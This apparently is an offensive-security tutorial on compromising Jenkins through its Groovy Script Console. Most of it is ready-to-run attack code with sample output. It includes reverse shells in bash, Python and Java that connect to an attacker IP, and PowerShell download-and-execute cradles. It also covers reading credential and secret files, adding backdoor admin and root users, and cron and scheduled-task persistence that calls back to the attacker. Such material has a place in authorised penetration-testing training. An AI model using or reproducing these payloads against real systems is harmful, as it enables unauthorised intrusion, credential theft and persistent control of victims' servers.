Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Attacking Jenkins

Once access to Jenkins is obtained (via default credentials, weak passwords, or unauthenticated access), the Script Console provides a direct path to remote code execution with Jenkins’ privileges, often root or SYSTEM.


Script Console Overview

The Script Console is accessible at:

http://target.com:8080/script

Permissions: Requires “Overall/AdministrConfig” or “Overall/Run Scripts” permission.

The console allows execution of arbitrary Apache Groovy scripts within the Jenkins controller runtime. Groovy is a Java-compatible language that compiles to Java bytecode and can execute operating system commands.


Command Execution via Groovy

Basic Command Execution

Execute a simple command and capture output:

def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Output:

uid=0(root) gid=0(root) groups=0(root)

Multi-line Command Execution

Execute complex commands with pipes and redirects:

def cmd = 'bash -c "whoami; id; pwd"'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Directory Listing

def cmd = 'ls -la /opt/jenkins'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Read Files

def cmd = 'cat /etc/passwd'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Reverse Shell - Linux

Bash Reverse Shell (TCP)

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Listener:

nc -lvnp 8443

listening on [any] 8443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.58] 57844

id
uid=0(root) gid=0(root) groups=0(root)

bash -i
root@app02:/var/lib/jenkins#

Bash Reverse Shell (Alternative)

def cmd = 'bash -i >& /dev/tcp/10.10.14.15/8443 0>&1'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)

Python Reverse Shell

def cmd = 'python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'10.10.14.15\',8443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/bash\',\'-i\']);\"'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)

Reverse Shell - Windows

CMD Execution

def cmd = "cmd.exe /c dir"
println("${cmd.execute().text}")

PowerShell Download Cradle

Use Invoke-PowerShellTcp.ps1 from Nishang:

def cmd = 'powershell -Command "IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.15/Invoke-PowerShellTcp.ps1\')"'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(5000)

Java Reverse Shell (Windows)

String host="10.10.14.15";
int port=8444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)so.write(pi.read());
  while(pe.available()>0)so.write(pe.read());
  while(si.available()>0)po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try {
    p.exitValue();
    break;
  }catch (Exception e){}
};
p.destroy();
s.close();

Add User (Alternative to Reverse Shell)

Avoid persistence detection by adding a user for RDP/WinRM access:

def cmd = 'net user hacker P@ssw0rd123! /add'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)

// Add to Administrators group
cmd = 'net localgroup Administrators hacker /add'
proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)

Then connect via RDP or WinRM with the new credentials.


Reverse Shell Payloads (Pre-built)

Using msfvenom

# Java reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=8443 -f jar > shell.jar

# Execute via Groovy
def cmd = 'java -jar /tmp/shell.jar'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)

Using Metasploit Module

msf6> use exploit/multi/misc/jenkins_rce
msf6 exploit(multi/misc/jenkins_rce) > set RHOSTS 10.129.201.58
msf6 exploit(multi/misc/jenkins_rce) > set RPORT 8080
msf6 exploit(multi/misc/jenkins_rce) > set USERNAME admin
msf6 exploit(multi/misc/jenkins_rce) > set PASSWORD password123
msf6 exploit(multi/misc/jenkins_rce) > set LHOST 10.10.14.15
msf6 exploit(multi/misc/jenkins_rce) > exploit

[*] Started reverse TCP handler on 10.10.14.15:4444
[*] Interacting with Jenkins...
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.129.201.58:45678)

meterpreter> shell
Process 1234 created.
Channel 1 created.

bash-4.2$ id
uid=0(root) gid=0(root) groups=0(root)

Jenkins Vulnerabilities

CVE-2018-1999002 & CVE-2019-1003000

Affected versions: Jenkins < 2.137
Type: Pre-authenticated RCE
Requirements: None (unauthenticated)
Bypass: Dynamic routing ACL bypass + script sandbox bypass

Impact: Attackers can execute arbitrary code on the Jenkins master server without authentication.

Exploitation:

  • Exploits flaw in Jenkins dynamic routing to bypass Overall/Read ACL check
  • Uses Groovy script compilation bypass to execute code outside sandbox
  • Downloads and executes malicious JAR files

PoC: Public exploits available on GitHub and exploit databases.

CVE-2019-1003000 Details

  • Affected: Jenkins 2.137 and earlier
  • Type: Script security sandbox bypass
  • Method: Exploits script serialization during compilation
  • Impact: Read ACL users can execute arbitrary code

Jenkins 2.150.2 Node.js RCE

Affected version: Jenkins 2.150.2
Requirements: JOB creation and BUILD privileges
Default behavior: Anonymous users have these privileges

Exploitation:

// Node.js can be abused if installed
def cmd = 'node -e "require(\'child_process\').exec(\'id\', (error, stdout, stderr) => { console.log(stdout); });"'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Data Exfiltration

Extract Credentials

Jenkins stores credentials in encrypted XML files:

def cmd = 'cat /var/lib/jenkins/credentials.xml'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Extract Job Configuration

def cmd = 'find /var/lib/jenkins/jobs -name "config.xml"'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Extract Secrets

def cmd = 'grep -r "password\|secret\|token" /var/lib/jenkins/secrets/'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Persistence

Cron Job (Linux)

def cmd = 'echo "* * * * * /bin/bash -i >& /dev/tcp/10.10.14.15/8443 0>&1" | crontab -'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)

Scheduled Task (Windows)

def cmd = 'schtasks /create /tn "UpdateTask" /tr "powershell -Command IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.15/ps.ps1\')" /sc minute /mo 5'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)

Backdoor User (Linux)

def cmd = 'echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)

Assessment Checklist

  • Identify Jenkins version and check for known CVEs
  • Attempt default credentials (admin:admin, jenkins:jenkins)
  • Test for anonymous/unauthenticated access
  • If Script Console accessible, execute test command (id)
  • Establish reverse shell (bash/python/java depending on OS)
  • Extract credentials from credentials.xml
  • Enumerate jobs and extract sensitive build configuration
  • Check for pipeline scripts with hardcoded secrets
  • Document Jenkins running user and privileges
  • Clean up any created users, cron jobs, or files

Post-Exploitation

Once RCE is achieved:

  1. Check privileges: Jenkins often runs as root or SYSTEM
  2. Enumerate services: Use Jenkins access to discover internal services
  3. Extract credentials: From Jenkins credentials store and job configs
  4. Lateral movement: Use extracted credentials for internal network access
  5. Establish persistence: Via cron, scheduled tasks, or user creation

Jenkins is frequently a high-privilege target, especially in CI/CD environments where it integrates with production systems and secrets management tools.


Tools Summary

ToolPurpose
Script ConsoleNative Groovy RCE interface
msfvenomGenerate reverse shell payloads
Metasploit jenkins_rceAutomated exploitation
nc/ncatReverse shell listener
curlScript console interaction (if API enabled)

Key Takeaways

  • Script Console is RCE: Any authenticated access = code execution
  • Default credentials common: Many deployments use defaults unchanged
  • Often root/SYSTEM: Jenkins runs with high privileges in production
  • Groovy is powerful: Can execute any command available to Jenkins user
  • Version matters: Many CVEs are version-specific; check for outdated installations
  • Secrets storage: Jenkins keeps encrypted credentials; extraction reveals other systems’ access